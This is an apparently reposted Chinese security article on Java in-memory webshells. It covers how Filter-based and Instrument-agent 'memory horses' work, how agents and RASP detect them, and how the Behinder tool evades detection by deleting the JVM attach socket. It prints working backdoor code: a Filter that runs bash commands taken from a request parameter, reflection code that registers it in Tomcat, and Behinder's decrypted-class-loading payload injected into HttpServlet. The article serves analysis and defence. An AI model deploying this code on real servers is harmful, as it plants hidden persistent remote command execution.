龙空技术网

啥是内存马? 赤兔马 NO 大马 小马 一句话木马

俊杰说黑客 118

前言:

现在同学们对“netcontroller木马病毒”都比较关怀,兄弟们都需要学习一些“netcontroller木马病毒”的相关资讯。那么小编也在网摘上网罗了一些对于“netcontroller木马病毒””的相关文章,希望小伙伴们能喜欢,兄弟们一起来学习一下吧!

还有多少种马 赤兔马 的卢马 错了错了 大马 小马 一句话木马 还是内存马一、概述

攻防对抗中,权限维持作为后渗透的基础,在攻防的对抗中,乃是兵家必争之地。Webshell作为Web安全领域中最基础的权限维持的方式,也在不断地变化发展,涌现出各种大马,小马,一句话密码,加密混淆木马等实现方式。但随着基于文件的检测技术的发展,此类文件型的Webshell越来越容易被检测出来。因此,基于无文件攻击技术的内存马就开始大展身手。

早在2017年,n1nty师傅就提出一种利用动态注册Filter实现内存马的思路[1]。后续rebeyong师傅又提出使用Java的Instrument机制实现内存马的思路[2]。随着对内存马技术的关注与研究,后续又出现了基于Spring框架的Controller,Interceptor等类型的内存马。在Python的平台也有利用SSTI动态注入路由的形式实现内存马的思路。本文将以Java内存马为例,从内存马的原理,分类,检测,防检测以及防检测绕过等角度分析内存马的攻防博弈对抗。二. 背景知识

2.1 Java Web三大组件

图1

Servlet

Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。

Filter

Filter也称之为过滤器,可以动态地修改HttpServletRequest,HttpServletResponse中的头和数据。

Listener

Listener也称之为监听器,可以监听Application、Session和Request对象的创建、销毁事件,以及监听对其中添加、修改、删除属性事件,并自动执行自定义的功能。

2.2 Java Instrument

java.lang.Instrument包是在JDK5引入的,开发者通过修改方法的字节码实现动态修改类代码。利用Instrument,开发者可以开发单独的代理Agent,实现对JVM进程的运行时监控,分析JVM进程运行时内存状态,甚至可以很方便地修改内存中类的字节码,修改或者扩展已有的功能。基于Instrument的Java Agent的使用方式有两种:

在JVM启动前加载

启动时配置-javaagent参数,会执行Agent中的premain方法。

在JVM启动后加载

使用com.sun.tools.attach.VirtualMachine包提供的loadAgent方法,将Agent注入到指定的JVM进程中,会执行Agent中的agentmain方法。

三、内存马分类

内存马根据实现的方式,大致可以分为以下两种:

1. 利用Java Web组件(Servlet、Filter、Listener)

动态地创建Servlet、Filter或者Listener,解析请求参数,实现任意代码执行。在Spring框架利用Controller,Interceptor等组件也是类似的机制。

2. 修改字节码

利用Java的Instrument机制,动态注入Agent,在Java内存中动态修改字节码,在HTTP请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码。攻击手法往往是利用Java中Web服务的 RCE漏洞,典型的就是Java的反序列化漏洞,注入自定义恶意代码,生成内存马,实现权限的持久化。

四、内存马实现方式4.1 利用Java Web组件

利用Servlet、Filter、Listener实现内存马,我们需要两个条件,一是动态创建对象,二是能将创建的对象注册到HTTP的处理流中生效。在Servlet3.0中,ServletContext提供了动态创建Servlet、Filter、Listener的方法。

public interface ServletContext {  ...   FilterRegistration.Dynamic addFilter(String filterName,String className)  FilterRegistration.Dynamic addFilter(String filterName,Filter filter)  FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)  Dynamic addServlet(String var1, String var2);  Dynamic addServlet(String var1, Servlet var2);  Dynamic addServlet(String var1, Class<? extends Servlet> var2);void addListener(String var1);  <T extends EventListener> void addListener(T var1);void addListener(Class<? extends EventListener> var1); }

ApplicationContext 类是 ServletContext 的实现类,实现了 ServletContext 中的addFilter 方法,用于向属性中的StandardContext实例添加filterDef。利用StandardContext,我们就能够动态创建Servlet、Filter、Listener,实现内存马了。

下面以Filter为例分析内存马的创建方式,Servlet和Listener的实现方式较为类似,就不再重复。1.首先我们需要能够获取到StandardContext。在JSP环境中我们可以直接通过request对象就可以获取到。在其他类型的环境中,也有相应的姿势可以获取到StandardContext对象。关于如何获取StandardContext可以参考相关文献[3]。

ServletContext ctx = request.getSession().getServletContext();Field f = ctx.getClass().getDeclaredField("context");f.setAccessible(true);ApplicationContext appCtx = (ApplicationContext)f.get(ctx);f = appCtx.getClass().getDeclaredField("context");f.setAccessible(true);StandardContext standardCtx = (StandardContext)f.get(appCtx);

2.创建一个恶意的Filter,其核心功能就是一个能够解析攻击者请求的参数,实现命令执行的后门程序。

Filter filter = new Filter() {@Overridepublic void init(FilterConfig arg0) throws ServletException {// TODO Auto-generated method stub      }@Overridepublic void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)throws IOException, ServletException {// TODO Auto-generated method stub         HttpServletRequest req = (HttpServletRequest)arg0;if (req.getParameter("cmd") != null) {byte[] data = new byte[1024];            Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();int len = p.getInputStream().read(data);            p.destroy();            arg1.getWriter().write(new String(data, 0, len));return;         }          arg2.doFilter(arg0, arg1);      }@Overridepublic void destroy() {// TODO Auto-generated method stub      }   };

3. 将该Filter注册到HTTP的处理流中生效。

FilterDef filterDef = new FilterDef();    filterDef.setFilterName(name);    filterDef.setFilterClass(filter.getClass().getName());    filterDef.setFilter(filter);    standardCtx.addFilterDef(filterDef);   FilterMap m = new FilterMap();   m.setFilterName(filterDef.getFilterName());   m.setDispatcher(DispatcherType.REQUEST.name());   m.addURLPattern("/*");   standardCtx.addFilterMapBefore(m);   Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);   FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);    filterConfigs.put(name, filterConfig);

不难发现,此类型的内存马有着以下两个较为明显的特征:

特征1:class 实现 javax.servlet.Filter,javax.servlet.Listener,javax.servlet.Servlet等接口。特征2:包含ProcessBuilder,Runtime等Webshell常用的命令执行危险操作。

4.2 Instrument内存马

水能载舟,亦能覆舟。Instrument机制在给我们分析修改JVM进程带来便利的同时,也为内存马的隐藏提供了很好的手段。常见的冰蝎[4],哥斯拉[5]内存马都提供Instrument注入的方式。我们以冰蝎的内存马来分析Instrument注入的实现方式。通过对冰蝎的jar包进行逆向分析可以发现,冰蝎内存马的代码位于net.rebeyond.behinder.payload.java.MenShell类中。

图2

图2代码结构可以看出是很典型的基于Instrument的Agent,入口函数是agentmain。分析agentmain方法中实现的逻辑,可以发现大致分为以下3步:

1. 确定需要hook的类与方法,可以看出主要hook的都是与Servlet相关的类的service方法。

Class[] cLasses = inst.getAllLoadedClasses();byte[] data = new byte[0];            Map targetClasses = new HashMap();            Map targetClassJavaxMap = new HashMap();            targetClassJavaxMap.put("methodName", "service");            List paramJavaxClsStrList = new ArrayList();            paramJavaxClsStrList.add("javax.servlet.ServletRequest");            paramJavaxClsStrList.add("javax.servlet.ServletResponse");            targetClassJavaxMap.put("paramList", paramJavaxClsStrList);            targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);            Map targetClassJakartaMap = new HashMap();            targetClassJakartaMap.put("methodName", "service");            List paramJakartaClsStrList = new ArrayList();            paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");            paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");            targetClassJakartaMap.put("paramList", paramJakartaClsStrList);            targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);            targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap);            ClassPool cPool = ClassPool.getDefault();if (ServerDetector.isWebLogic()) {                targetClasses.clear();                Map targetClassWeblogicMap = new HashMap();                targetClassWeblogicMap.put("methodName", "execute");                List paramWeblogicClsStrList = new ArrayList();                paramWeblogicClsStrList.add("javax.servlet.ServletRequest");                paramWeblogicClsStrList.add("javax.servlet.ServletResponse");                targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList);                targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap);            }

2. 定义shellcode,其中shellCode的代码格式化解析如下所示,可以很明显的看出是典型的Webshell的代码,解析请求中的传递的参数,解密后进行调用,执行自定义的业务功能。

javax.servlet.http.HttpServletRequest request = (javax.servlet.ServletRequest) $1;        javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse) $2;        javax.servlet.http.HttpSession session = request.getSession();String pathPattern = "%s";if (request.getRequestURI().matches(pathPattern)) {            java.util.Map obj = new java.util.HashMap();            obj.put("request", request);            obj.put("response", response);            obj.put("session", session);            ClassLoader loader = this.getClass().getClassLoader();if (request.getMethod().equals("POST")) {try {String k = "%s";                    session.putValue("u", k);                    java.lang.ClassLoader systemLoader = java.lang.ClassLoader.getSystemClassLoader();                    Class cipherCls = systemLoader.loadClass("javax.crypto.Cipher");Object c = cipherCls.getDeclaredMethod("getInstance", new Class[]{String.class}).invoke((java.lang.Object) cipherCls, new Object[]{"AES"});Object keyObj = systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor(new Class[]{byte[].class, String.class}).newInstance(new Object[]{k.getBytes(), "AES"});                    ;                    java.lang.reflect.Method initMethod = cipherCls.getDeclaredMethod("init", new Class[]{int.class, systemLoader.loadClass("java.security.Key")});                    initMethod.invoke(c, new Object[]{new Integer(2), keyObj});                    java.lang.reflect.Method doFinalMethod = cipherCls.getDeclaredMethod("doFinal", new Class[]{byte[].class});                    byte[] requestBody = null;try {                        Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");Object Decoder = Base64.newInstance();                        requestBody = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});                    } catch (Exception ex) {                        Class Base64 = loader.loadClass("java.util.Base64");Object Decoder = Base64.getDeclaredMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);                        requestBody = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});                    }                    byte[] buf = (byte[]) doFinalMethod.invoke(c, new Object[]{requestBody});                    java.lang.reflect.Method defineMethod = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, java.nio.ByteBuffer.class, java.security.ProtectionDomain.class});                    defineMethod.setAccessible(true);                    java.lang.reflect.Constructor constructor = java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});constructor.setAccessible(true);                    java.lang.ClassLoader cl = (java.lang.ClassLoader) constructor.newInstance(new Object[]{loader});                    java.lang.Class c = (java.lang.Class) defineMethod.invoke((java.lang.Object) cl, new Object[]{null, java.nio.ByteBuffer.wrap(buf), null});                    c.newInstance().equals(obj);                } catch (java.lang.Exception e) {                    e.printStackTrace();                } catch (java.lang.Error error) {                    error.printStackTrace();                }                return;            }        }

3. 将shellcode插入到需要hook的方法之前

Class[] var28 = cLasses;            int var13 = cLasses.length;for (int var14 = 0; var14 < var13; ++var14) {                Class cls = var28[var14];if (targetClasses.keySet().contains(cls.getName())) {String targetClassName = cls.getName();try {String path = new String(base64decode(args.split("\\|")[0]));String key = new String(base64decode(args.split("\\|")[1]));                        shellCode = String.format(shellCode, path, key);if (targetClassName.equals("jakarta.servlet.http.HttpServlet")) {                            shellCode = shellCode.replace("javax.servlet", "jakarta.servlet");                        }                        ClassClassPath classPath = new ClassClassPath(cls);                        cPool.insertClassPath(classPath);                        cPool.importPackage("java.lang.reflect.Method");                        cPool.importPackage("javax.crypto.Cipher");                        List paramClsList = new ArrayList();                        Iterator var21 = ((List) ((Map) targetClasses.get(targetClassName)).get("paramList")).iterator();String methodName;while (var21.hasNext()) {                            methodName = (String) var21.next();                            paramClsList.add(cPool.get(methodName));                        }                        CtClass cClass = cPool.get(targetClassName);                        methodName = ((Map) targetClasses.get(targetClassName)).get("methodName").toString();                        CtMethod cMethod = cClass.getDeclaredMethod(methodName, (CtClass[]) paramClsList.toArray(new CtClass[paramClsList.size()]));// 关键步骤,修改字节码,将shellcode插入到方法前调用            cMethod.insertBefore(shellCode);                        cClass.detach();                        data = cClass.toBytecode();// 调用Instrumentation对象,将修改生效                        inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(cls, data)});                    } catch (Exception var24) {                        var24.printStackTrace();                    } catch (Error var25) {                        var25.printStackTrace();                    }                }            }

至此,已经成功将Java进程中的Servlet类修改,所有的请求都会经过内存马的代码,攻击者构造特定格式的POST请求就会进入内存马的代码逻辑中,执行恶意请求。正常业务的数据格式不满足内存马数据格式要求,会跳过内存马的逻辑,因此并不会影响原始业务,大大增加内存马的隐蔽性。

特征:该方式不会生成新的Servlet,Filter,Listener对象,因此隐蔽性更强。唯一美中不足的是,需要生成Agent文件落地,有可能会被IDS文件检测检测到Agent。

五、内存马检测

知己知彼,百战不殆。

现在,我们对内存马已经有了一定的了解认识,了解了内存马的实现方式以及原理。下面我们就要对需要检测的JVM进程有详尽的了解认识,给目标JVM进程做个“体检”,发现可能隐藏的内存马。

5.1基于Instrument的Agent检测

我们可以同样利用Java 的Instrument机制,动态注入我们的检测Agent,获取JVM中所有加载的Class的数据,针对内存马可疑的特征,让隐藏的内存马现出原型。

首先,我们需要分析常见的内存马存在的一些可疑的特征。根据上面两种类型的内存马,我们大致可以总结出以下几个可疑特征:

1. 继承可能实现Webshell接口,例如Servlet,Filter,Listener,Interceptor

• javax.servlet.http.HttpServlet

• org.springframework.web.servlet.handler.AbstractHandlerMapping

• javax.servlet.Filter

• javax.servlet.Servlet

• javax.servlet.ServletRequestListener

•…

2.名字:内存马的Filter名可能包含shell等关键字

3.特殊classloader加载:查看classloader是不是Templates或bcel等

4.使用风险注解

5. 对比web.xml中没有Filter配置(这点在Spring之类的动态注入框架中不生效)

6. 对应的ClassLoader路径下没有class文件:检测Filter对应的ClassLoader目录下是否存在class文件

7. 常见已知的Webshell包名

• net.rebeyond.

• com.metasploit.

检测步骤大致如下:

1. Attach 检测jar包到JVM进程

2. 获取JVM中已经加载的class列表

3.根据以上可疑特征将可疑的class反编译为Java源码

4.根据源码检测Webshell

优点:只在检测的过程中存在资源的消耗,不会对系统进行修改,对系统的影响较小。

缺点:针对恶意代码的分析,如果恶意代码不是存在于该可疑的类中,而是通过多层的调用链调用的,分析的难度将大大增加,针对单个class的分析将无法有效的检测出。需要对调用链上的所有的类的方法函数进行分析,只要调用链中的任何一个类存在可疑的代码,就标记为风险。但这样也会增加检测的资源消耗,降低检测效率。并且,这是一种事后的检测,内存马可能已经在系统中存在一定的时间。

5.2 RASP 运行时防护

Gartner在2014年提出了应用自我保护技术(RASP)的概念。Java中,RASP也是利用JVM的Instrument技术,在指定关键类的特定方法处进行hook。因此RASP能够感知内存马在内存中执行的一系列操作。

例如上述提到的Filter类型的内存马,我们在 StandardContext类的addFilterDef方法处进行hook,能够在内存马创建的阶段就能检测到,将风险扼杀在摇篮之中。

优点:RASP是一种事中的检测,在内存马创建的过程中就能检测并阻断。这种方式准确性强,可以结合请求的上下文环境进行精准判断,误报的几率较低。

缺点:这种侵入性比较强,运行在应用的整个生命周期中,会增加应用的资源消耗。

六、内存马的防检测

攻防就是一个相互博弈的过程,既然有了查杀,内存马就有反查杀。

冰蝎内存马在Behinder_v3.0 Beta 10中就开始添加了防检测的功能。

图3

对冰蝎代码分析,防检测的实现是删除了一个名为/tmp/.java_pid+{pid}的文件。为什么删除这个文件就能防检测了呢?这还得从JVM进程的Agent注入开始分析。

前文了解过,Agent的注入是调用com.sun.tools.attach.VirtualMachine的loadAgent,分析loadAgent代码,主要是调用loadAgentLibrary方法。

图4

继续跟进loadAgentLibrary方法,最终实际是调用execute的load命令

图5

execute连接目标JVM进程暴露的socket文件,写入执行的指令进行通信,这里面的path就是目标JVM的 socket文件地址。

图6

分析目标JVM进程 对socket接收到的数据进行处理,在AttachListener对象的read_request方法中读取socket接收到数据

图7

创建LinuxAttachOperation对象 进行具体的attach的操作

图8

通过对代码的分析可以看出,JVM进程之间的通信,靠的就是目标进程暴露出来的socket文件。防检测原理,就是删除JVM进程对外暴露的.java_pidxxxx socket文件,阻止和JVM进程通信,从而禁止Agent加载。Agent无法注入,自然就无法检测内存马了。

这块绕过防检测有一点思路,留待后续实现。

1.在目标JVM进程中, 重启AttachListener,重新创建socket文件。

2.在目标JVM进程,创建LinuxAttachOperation到队列中,完成load Agent的操作。

七、总结

本文从内存马的原理,分类,检测,防检测以及防检测绕过等角度分析内存马的攻防博弈对抗。可以看出安全攻防的博弈一直都在持续进行中,这趟旅程还没有到终点。

标签: #netcontroller木马病毒